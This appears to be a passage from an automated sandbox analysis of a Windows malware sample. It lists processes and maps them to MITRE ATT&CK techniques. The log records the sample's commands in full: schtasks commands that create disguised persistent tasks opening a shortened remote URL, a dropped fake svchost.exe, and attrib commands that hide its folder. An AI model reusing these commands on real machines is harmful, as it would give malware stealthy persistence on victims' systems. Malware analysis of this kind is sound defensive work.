  schtasks /create /f /st "07:56" /sc daily /mo "3" /tn "EnableLicenseAcquisition" /tr "'explorer'https://gsurl.be/kXFY"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5176
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "23:09" /sc weekly /mo "4" /d "Mon" /tn "EnableLicenseAcquisition" /tr "'explorer'https://gsurl.be/kXFY"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5424
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /f /st "08:19" /sc monthly /m " jul" /tn "EnableLicenseAcquisition" /tr "'explorer'https://gsurl.be/kXFY"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4536
- C:\Users\Admin\AppData\Roaming\Branding\svchost.exe
  "C:\Users\Admin\AppData\Roaming\Branding\svchost.exe"
  2⤵
  - Modifies visibility of file extensions in Explorer
  - Modifies visiblity of hidden/system files in Explorer
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - System policy modification
  PID:2968
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4112
  - - C:\Windows\system32\attrib.exe
      attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
      4⤵
      Views/modifies file attributes
      PID:5956
  - - C:\Windows\system32\attrib.exe
      attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
      4⤵
      Views/modifies file attributes
      PID:1980

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5492

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery